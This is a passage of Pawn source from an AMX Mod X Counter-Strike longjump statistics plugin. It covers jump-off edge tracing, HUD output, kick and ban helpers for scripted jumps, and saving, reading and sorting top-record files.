							tmpOrigin2[1]=new_origin[1]-16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
							
						}
						else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]-200;
							tmpOrigin2[1]=new_origin[1]+16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
						}
						else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]+200;
							tmpOrigin2[0]=new_origin[0]-16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
						}
						else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]-200;
							tmpOrigin2[0]=new_origin[0]+16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
						}
						
						new Float:tmpEdgeOrigin[3];
						
						engfunc(EngFunc_TraceLine,tmpOrigin,tmpOrigin2, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpEdgeOrigin);
					
						if(get_distance_f(tmpEdgeOrigin,tmpOrigin2)!=0.0)
						{
							jof[id]=get_distance_f(tmpEdgeOrigin,tmpOrigin2)-0.031250;
						}
					}
				}
				else if(!(flags&FL_ONGROUND) && g_Jumped[id] && edgedone[id]==false && movetype[id] != MOVETYPE_FLY)
				{
					new onbhopblock,bhop_block[1];
					
					find_sphere_class(id,"func_door", 48.0, bhop_block, 1, Float:{0.0, 0.0, 0.0} );
					
					if(bhop_block[0])
					{
						onbhopblock=true;
					}
					else
					{
						onbhopblock=false;
					}
					
					
					new Float:tmpblock[3],tmpjblock[3],Float:new_origin[3],Float:tmpOrigin[3], Float:tmpOrigin2[3];
						
					new_origin=jumpoff_origin[id];
					if(onbhopblock)
					{
						new_origin[2]=new_origin[2]-40.0;
					}
					else new_origin[2]=new_origin[2]-36.1;
					
					pev(id, pev_velocity, velocity);
					
					new block_checking[3];
					
					for(new i=0,j=-18;i<3;i++,j=j+18)
					{
						tmpOrigin=new_origin;
						tmpOrigin2=new_origin;
						tmpblock=new_origin;
						if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]+100;
							tmpOrigin2[1]=new_origin[1]-16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
							
							tmpblock[1]=new_origin[1]+uq_maxedge+1;
							tmpblock[0]=tmpblock[0]+j;
						}
						else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]-100;
							tmpOrigin2[1]=new_origin[1]+16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
							
							tmpblock[1]=new_origin[1]-uq_maxedge+1;
							tmpblock[0]=tmpblock[0]+j;
						}
						else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]+100;
							tmpOrigin2[0]=new_origin[0]-16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
							
							tmpblock[0]=new_origin[0]+uq_maxedge+1;
							tmpblock[1]=tmpblock[1]+j;
						}
						else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]-100;
							tmpOrigin2[0]=new_origin[0]+16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
							
							tmpblock[0]=new_origin[0]-uq_maxedge+1;
							tmpblock[1]=tmpblock[1]+j;
						}
						
						new Float:tmpEdgeOrigin[3];
						
						engfunc(EngFunc_TraceLine,tmpOrigin,tmpOrigin2, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpEdgeOrigin);
								
						if(get_distance_f(tmpEdgeOrigin,tmpOrigin2)!=0.0)
						{
							edgedist[id]=get_distance_f(tmpEdgeOrigin,tmpOrigin2)-0.031250;
						}
						
						new Float:tmpblockOrigin[3];
						
						engfunc(EngFunc_TraceLine,tmpEdgeOrigin,tmpblock, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpblockOrigin);
						
						if(get_distance_f(tmpblockOrigin,tmpEdgeOrigin)!=0.0)
						{
							tmpjblock[i]=floatround(get_distance_f(tmpblockOrigin,tmpEdgeOrigin),floatround_floor)+1;
						}
						
						new Float:checkblock1[3],Float:checkblock2[3];
						tmpblockOrigin[2]=tmpblockOrigin[2]-1.0;
						
						checkblock1=tmpblockOrigin;
						
						if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							checkblock1[1]=checkblock1[1]+2.0;
						}
						else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							checkblock1[1]=checkblock1[1]-2.0;
						}
						else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							checkblock1[0]=checkblock1[0]+2.0;
						}
						else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							checkblock1[0]=checkblock1[0]-2.0;
						}
						
						checkblock2=checkblock1;
						checkblock2[2]=checkblock2[2]+18.0;
						
						new Float:tmpcheckblock[3];
						engfunc(EngFunc_TraceLine,checkblock2,checkblock1, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpcheckblock);
						
						if(floatabs(tmpblockOrigin[2]-tmpcheckblock[2])==0.0)
						{
							block_checking[i]=1;
						}
						
						edgedone[id]=true;
					}
					
					if(tmpjblock[0]!=0 && tmpjblock[0]<=tmpjblock[1] && tmpjblock[0]<=tmpjblock[2])
					{
						if(!block_checking[0])
							jumpblock[id]=tmpjblock[0];
					}
					else if(tmpjblock[1]!=0 && tmpjblock[1]<=tmpjblock[2] && tmpjblock[0]<=tmpjblock[0])
					{
						if(!block_checking[1])
							jumpblock[id]=tmpjblock[1];
					}
					else if(tmpjblock[2]!=0 && tmpjblock[2]<=tmpjblock[1] && tmpjblock[0]<=tmpjblock[0])
					{
						if(!block_checking[2])
							jumpblock[id]=tmpjblock[2];
					}
					else jumpblock[id]=0;
					
					if(equali(mapname,"prochallenge_longjump"))
					{
						jumpblock[id]=jumpblock[id]-1;
					}
					
					new h_jof;
					
					if(jofon[id])
					{
						h_jof=h_speed;
					}
					else h_jof=4;
					
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{	
							if(edgedist[i]!=0.0 && (showjofon[i] || jofon[id])) 
							{
								if(edgedist[i]>5.0)
								{
									set_hudmessage(255, 255, 255, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_jof);
								}
								else
								{
									set_hudmessage(255, 0, 0, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_jof);
								}
								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_JOF", edgedist[id]);
							}
						}
					}
				}
				
				new Float:checkfall;
				if(jump_type[id]==Type_Drop_CountJump)
				{
					checkfall=0.5;
				}
				else checkfall=0.4;
				
				if(flags&FL_ONGROUND && firstfall_ground[id]==true && get_gametime()-FallTime1[id]>checkfall)
				{
					touch_ent[id]=false;		
					JumpReset(id,26);
					dropbhop[id]=false;
					ddnum[id]=0;
					x_jump[id]=false;
					firstfall_ground[id]=false;
					in_ladder[id]=false;
					nextbhop[id]=false;
					bhopaem[id]=false;
					UpcjFail[id]=false;
					slide_protec[id]=false;
					backwards[id]=false;
					ladderbug[id]=false;
					find_ladder[id]=false;
					touch_somthing[id]=false;
					duckbhop[id]=false;
					dropupcj[id]=false;
					ddstandcj[id]=false;
					ddforcjafterbhop[id]=false;
					ddforcjafterladder[id]=false;
					//if(donehook[id]) ColorChat(id, RED, "reset ground %d %f",jump_type[id],get_gametime()-FallTime1[id]);
					return FMRES_IGNORED;
				}
				
				if(flags&FL_ONGROUND && firstfall_ground[id]==false)
				{
					FallTime1[id]=get_gametime();
					firstfall_ground[id]=true;
				}
				else if(!(flags&FL_ONGROUND) && firstfall_ground[id]==true)
				{
					firstfall_ground[id]=false;
				}
				
				if(flags&FL_ONGROUND && donehook[id] && hookcheck[id]==false)
				{
					timeonground[id]=get_gametime();
					hookcheck[id]=true;
				}
				else if(!(flags&FL_ONGROUND) && donehook[id] && hookcheck[id])
				{
					timeonground[id]=get_gametime()-timeonground[id];
					hookcheck[id]=false;
					
					if(timeonground[id]>0.4)
					donehook[id]=false;
				}
			}
		}
	}
	return FMRES_IGNORED;
}
public kick_function(id,j_type_str[])
{
	new szReason[64];
	formatex(szReason,63,"%L",LANG_SERVER,"UQSTATS_KICKREASON",j_type_str);
	
	emessage_begin( MSG_ONE, SVC_DISCONNECT, _, id );
	ewrite_string( szReason );
	emessage_end( );
}
public ban_function(id,j_type_str[])
{
	new szReason[64];
	formatex(szReason,63,"%s_script",j_type_str);
	
	new ban_authid[64];
	
	switch(uq_ban_authid)
	{
		case 0:
			get_user_name(id,ban_authid,63);
		case 1:
			get_user_ip(id,ban_authid,63,1);
		case 2:
			get_user_authid(id,ban_authid,63);
	}	
	
	switch(uq_ban_type)
	{
		case 0:
		{
			switch(uq_ban_authid)
			{
				case 0:
					server_cmd("amx_ban %s %d %s",ban_authid,uq_ban_minutes,szReason);
				case 1:
					server_cmd("amx_addban %s %d %s",ban_authid,uq_ban_minutes,szReason);
				case 2:
					server_cmd("amx_addban ^"%s^" %d %s",ban_authid,uq_ban_minutes,szReason);
			}
		}
		case 1:
		{
			if(uq_ban_authid==2)
				server_cmd("amx_ban %d ^"%s^" %s",uq_ban_minutes,ban_authid,szReason);
			else if(uq_ban_authid==1 && uq_ban_authid==0)
				server_cmd("amx_ban %d %s %s",uq_ban_minutes,ban_authid,szReason);
		}
	}
}
public ScreenShoot(id)
{
	id=id-15237;
	client_cmd(id,"snapshot");
}

public HamTouch( id, entity )
{
	if ( g_alive[id] )
	{
		static Float:Vvelocity[3];
		pev(id, pev_velocity, Vvelocity);
		if(!equali(mapname,"slide_gs_longjumps") && !equali(mapname,"b2j_slide_longjumps"))
		{
			if(g_Jumped[id] && !(pev(id, pev_flags)&FL_ONGROUND) && floatround(Vvelocity[2], floatround_floor) < 0)
			{
				touch_somthing[id]=true;
			}
		}
	}
}
public fwdTouch(ent, id)
{
	static ClassName[32];
	if( pev_valid(ent) )
	{
		pev(ent, pev_classname, ClassName, 31);
	}
	
	static ClassName2[32];
	if( valid_id(id) )
	{
		pev(id, pev_classname, ClassName2, 31);
	}
	if( equali(ClassName2, "player") )
	{
		if( equali(ClassName, "func_train")
			|| equali(ClassName, "func_conveyor") 
			|| equali(ClassName, "trigger_push") || equali(ClassName, "trigger_gravity"))
		{
			if(valid_id(id))
			{
				touch_ent[id]=true;
				trigger_protection[id]=true;
				JumpReset(id,41);
				set_task(0.4,"JumpReset1", id);
			}
		}
	}
}

////////////////////////////////////////Save Tops///////////////////////////////////
public save_tops(type[],type_num,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_ddbh[NTOP+1])
{
	new profile[128];
	formatex(profile, 127, "%s/Top10_%s.dat", ljsDir,type);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "maxspeed", tmp_maxspeed[i]);
		TrieSetCell(JumpStat, "prestrafe", tmp_prestrafe[i]);
		TrieSetCell(JumpStat, "strafes", tmp_strafes[i]);
		TrieSetCell(JumpStat, "sync", tmp_sync[i]);
		
		if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
		{
			TrieSetCell(JumpStat, "ddbh", tmp_ddbh[i]);
			formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i],tmp_ddbh[i]);	
		}
		else formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i]);
		fputs(f, Data);
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_250", type, i);

		TrieSetCell(JData, tmp_type, JumpStat);
	}
	fclose(f);
}
public save_tops_block(type[],type_num,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1])
{
	new profile[128];
	formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block,type);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "block", tmp_block[i]);
		TrieSetCell(JumpStat, "jumpoff", tmp_jumpoff[i]);
		
		new tmp_type[33];
		format(tmp_type, 32, "block_%s_%d_250", type, i);

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%f^"^n",tmp_names[i],tmp_ip[i],tmp_block[i],tmp_distance[i],tmp_jumpoff[i]);
		fputs(f, Data);
	}
	fclose(f);
}
public save_tops_block_weapon(type[],type_num,wpn_rank,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1],tmp_weap_name[NTOP+1][33])
{
	new profile[128];
	formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block_weapon[wpn_rank],type);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "block", tmp_block[i]);
		TrieSetCell(JumpStat, "jumpoff", tmp_jumpoff[i]);
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name[i]);
		
		new tmp_type[33];
		format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%f^" ^"%s^"^n",tmp_names[i],tmp_ip[i],tmp_block[i],tmp_distance[i],tmp_jumpoff[i],tmp_weap_name[i]);
		fputs(f, Data);
	}
	fclose(f);
}
public save_tops_weapon(type[],type_num,wpn_rank,tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_weap_name[NTOP+1][33])
{
	new profile[128];

	formatex(profile, 127, "%s/Top10_%s.dat",ljsDir_weapon[wpn_rank],type);

	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		TrieSetString(JumpStat, "name", tmp_names[i]);
		TrieSetString(JumpStat, "authid", tmp_ip[i]);
		TrieSetCell(JumpStat, "distance", tmp_distance[i]);
		TrieSetCell(JumpStat, "maxspeed", tmp_maxspeed[i]);
		TrieSetCell(JumpStat, "prestrafe", tmp_prestrafe[i]);
		TrieSetCell(JumpStat, "strafes", tmp_strafes[i]);
		TrieSetCell(JumpStat, "sync", tmp_sync[i]);
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name[i]);
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));

		TrieSetCell(JData, tmp_type, JumpStat);
		
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"^n",tmp_names[i],tmp_ip[i], tmp_distance[i],tmp_maxspeed[i],tmp_prestrafe[i],tmp_strafes[i],tmp_sync[i],tmp_weap_name[i]);
		fputs(f, Data);
	}
	fclose(f);
}
public save_maptop()
{
	new profile[128];
	formatex(profile, 127, "%s/Top10_maptop.dat", ljsDir);
	
	if( file_exists(profile) )
	{
		delete_file(profile);
	}
	new Data[256];
	new f = fopen(profile, "at");
	for(new i = 0; i < NTOP; i++)
	{
		formatex(Data, 255, "^"%s^" ^"%s^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%d^" ^"%s^"^n",map_names[i],map_ip[i], map_dist[i],map_maxsped[i],map_prestr[i],map_streif[i],map_syncc[i],map_type[i]);
		fputs(f, Data);
	}
	fclose(f);
}
////////////////////////////////////////Read Tops///////////////////////////////////
public read_tops(type[],type_num)
{
	new profile[128],prodata[256];
	formatex(profile, 127, "%s/Top10_%s.dat", ljsDir,type);
	
	new tmp_names[33],tmp_ip[33];

	new f = fopen(profile, "rt" );
	new i = 0;
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], m[25], p[25], sf[25],s[25];
		new duk[25];
		
		if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
		{
			parse(prodata, tmp_names, 32, tmp_ip, 32,  d, 25, m, 25, p, 25, sf, 25,s, 25, duk, 25);	
		}
		else 
		{
			parse(prodata, tmp_names, 32, tmp_ip, 32,  d, 25, m, 25, p, 25, sf, 25,s, 25);	
		}
				
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "maxspeed", str_to_num(m));
		TrieSetCell(JumpStat, "prestrafe", str_to_num(p));
		TrieSetCell(JumpStat, "strafes", str_to_num(sf));
		TrieSetCell(JumpStat, "sync", str_to_num(s));
		
		if(type_num==21 || type_num==22 || type_num==23 || type_num==24 || type_num==25)
		{
			TrieSetCell(JumpStat, "ddbh", str_to_num(duk));
		}
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_250", type, i);

		TrieSetCell(JData, tmp_type, JumpStat);
		
		i++;
	}
	fclose(f);
}
public read_tops_block(type[],type_num)
{
	new profile[128],prodata[256];
	
	if(type_num==6)
	{
		formatex(profile, 127, "%s/block20_hj.dat", ljsDir_block);	
	}
	else formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block,type);
	
	new tmp_names[33],tmp_ip[33];
	
	new f = fopen(profile, "rt" );
	new i = 0;
	
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], b[25], j[25];
		
		parse(prodata, tmp_names, 32, tmp_ip, 32,  b, 25, d, 25, j, 25);
		
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetCell(JumpStat, "block", str_to_num(b));
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "jumpoff", str_to_float(j));
		
		
		new tmp_type[33];
		if(type_num==6)
		{
			format(tmp_type, 32, "block_hj_%d_250", i);
		}
		else format(tmp_type, 32, "block_%s_%d_250", type, i);

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		i++;
	}
	fclose(f);
}
public read_tops_block_weapon(type[],type_num,wpn_rank)
{
	new profile[128],prodata[256];
	
	if(type_num==9)
	{
		formatex(profile, 127, "%s/block20_hj.dat", ljsDir_block_weapon[wpn_rank]);	
	}
	else formatex(profile, 127, "%s/block20_%s.dat", ljsDir_block_weapon[wpn_rank],type);
	
	new tmp_names[33],tmp_ip[33],tmp_weap_name[33];
	
	new f = fopen(profile, "rt" );
	new i = 0;
	
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], b[25], j[25];
		
		parse(prodata, tmp_names, 32, tmp_ip, 32,  b, 25, d, 25, j, 25,tmp_weap_name,32);
		
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetCell(JumpStat, "block", str_to_num(b));
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "jumpoff", str_to_float(j));
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name);
		
		new tmp_type[33];
		format(tmp_type, 32, "block_%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));

		TrieSetCell(JData_Block, tmp_type, JumpStat);
		i++;
	}
	fclose(f);
}
public read_tops_weapon(type[],type_num,wpn_rank)
{	
	new profile[128],prodata[256];

	formatex(profile, 127, "%s/Top10_%s.dat",ljsDir_weapon[wpn_rank],type);
	
	new f = fopen(profile, "rt" );
	new i = 0;
	new tmp_names[33],tmp_ip[33],tmp_weap_name[33];
	
	while( !feof(f) && i < (NTOP))
	{
		new Trie:JumpStat;
		JumpStat = TrieCreate();
		
		fgets(f, prodata, 255);
		new d[25], m[25], p[25], sf[25],s[25];
		
		parse(prodata, tmp_names, 32, tmp_ip, 32,  d, 25, m, 25, p, 25, sf, 25,s, 25,tmp_weap_name,32);
		
		TrieSetString(JumpStat, "name", tmp_names);
		TrieSetString(JumpStat, "authid", tmp_ip);
		TrieSetString(JumpStat, "wpn_name", tmp_weap_name);
		TrieSetCell(JumpStat, "distance", str_to_num(d));
		TrieSetCell(JumpStat, "maxspeed", str_to_num(m));
		TrieSetCell(JumpStat, "prestrafe", str_to_num(p));
		TrieSetCell(JumpStat, "strafes", str_to_num(sf));
		TrieSetCell(JumpStat, "sync", str_to_num(s));
		TrieSetCell(JumpStat, "pspeed", weapon_maxspeed(wpn_rank));
		
		
		new tmp_type[33];
		format(tmp_type, 32, "%s_%d_%d", type, i,weapon_maxspeed(wpn_rank));
		
		TrieSetCell(JData, tmp_type, JumpStat);
		i++;
	}
	fclose(f);
}
////////////////////////////////////////Sort Tops///////////////////////////////////
public checktops1(id,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s) 
{	
	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "%s_%d_250", type, i);
		
		if(TrieKeyExists(JData, tmp_type))
		{	
			TrieGetCell(JData, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
			TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
			TrieGetCell(JS, "strafes", tmp_strafes[i]);
			TrieGetCell(JS, "sync", tmp_sync[i]);
			
		}
		//server_print("%s",tmp_ip[i]);
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( d > tmp_distance[i] )
		{
			new pos = i;	
			while( !equali(tmp_ip[pos], rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_maxspeed[j] = tmp_maxspeed[j-1];
				tmp_prestrafe[j] = tmp_prestrafe[j-1];
				tmp_strafes[j] = tmp_strafes[j-1];
				tmp_sync[j] = tmp_sync[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			tmp_distance[i]=d;
			tmp_maxspeed[i] = m;
			tmp_prestrafe[i] = p;
			tmp_strafes[i] = sf;
			tmp_sync[i] = s;
			
			new tmp_ddbh[NTOP+1];
			save_tops(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_ddbh);
			
			client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP1",prefix,g_playername[id],(i+1),type,dd);				
			
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}

public checktops2(id,type[],type_num,Float:dd,Float:mm,Float:pp,sf,s,duk) 
{	
	new d,m,p,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	m=floatround(mm*1000000);
	p=floatround(pp*1000000);
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_maxspeed[NTOP+1],tmp_prestrafe[NTOP+1],tmp_strafes[NTOP+1],tmp_sync[NTOP+1],tmp_ddbh[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "%s_%d_250", type, i);
		
		if(TrieKeyExists(JData, tmp_type))
		{	
			TrieGetCell(JData, tmp_type, JS);
			
			TrieGetString(JS,"name",tmp_names[i],32);
			TrieGetString(JS,"authid",tmp_ip[i],32);
			TrieGetCell(JS, "distance", tmp_distance[i]);
			TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
			TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
			TrieGetCell(JS, "strafes", tmp_strafes[i]);
			TrieGetCell(JS, "sync", tmp_sync[i]);
			TrieGetCell(JS, "ddbh", tmp_ddbh[i]);
		}
	}
	
	for (new i = 0; i < NTOP; i++)
	{
		if( d > tmp_distance[i] )
		{
			new pos = i;	
			while( !equali(tmp_ip[pos], rb) && pos < NTOP )
			{
				pos++;
			}
			
			for (new j = pos; j > i; j--)
			{
				formatex(tmp_ip[j], 32, tmp_ip[j-1]);
				formatex(tmp_names[j], 32, tmp_names[j-1]);
				tmp_distance[j] = tmp_distance[j-1];
				tmp_maxspeed[j] = tmp_maxspeed[j-1];
				tmp_prestrafe[j] = tmp_prestrafe[j-1];
				tmp_strafes[j] = tmp_strafes[j-1];
				tmp_sync[j] = tmp_sync[j-1];
				tmp_ddbh[j] = tmp_ddbh[j-1];
			}
			
			formatex(tmp_ip[i], 32, rb);
			formatex(tmp_names[i], 32, g_playername[id]);
			tmp_distance[i]=d;
			tmp_maxspeed[i] = m;
			tmp_prestrafe[i] = p;
			tmp_strafes[i] = sf;
			tmp_sync[i] = s;
			tmp_ddbh[i] = duk;
			
			save_tops(type,type_num,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_ddbh);
			
			client_print(0,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP1",prefix,g_playername[id],(i+1),type,dd);				
			
			if((i+1)<11 && uq_screen==1)
			{
				set_task(0.1,"ScreenShoot", id+15237);
			}
			break;
		}
		else if( equali(tmp_ip[i], rb)) break;	
	}
}
public checktops_block(id,type[],type_num,Float:dd,Float:jj,bb) 
{	
	new d,rb[64];
	
	d=floatround(dd*1000000);// todo: zdelat poproshe)
	
	switch(rankby) {
		case 0: {
			formatex(rb, 63, "%s", g_playername[id]);
		}
		case 1: {
			formatex(rb, 63, "%s", g_playerip[id]);
		}
		case 2: {
			formatex(rb, 63, "%s", g_playersteam[id]);
		}
	}
	
	new tmp_names[NTOP+1][33],tmp_ip[NTOP+1][33],tmp_distance[NTOP+1],tmp_block[NTOP+1],Float:tmp_jumpoff[NTOP+1];
		
	for (new i = 0; i < NTOP; i++)
	{
		new Trie:JS;
		new tmp_type[33];
	
		format(tmp_type, 32, "block_%s_%d_250", type, i);
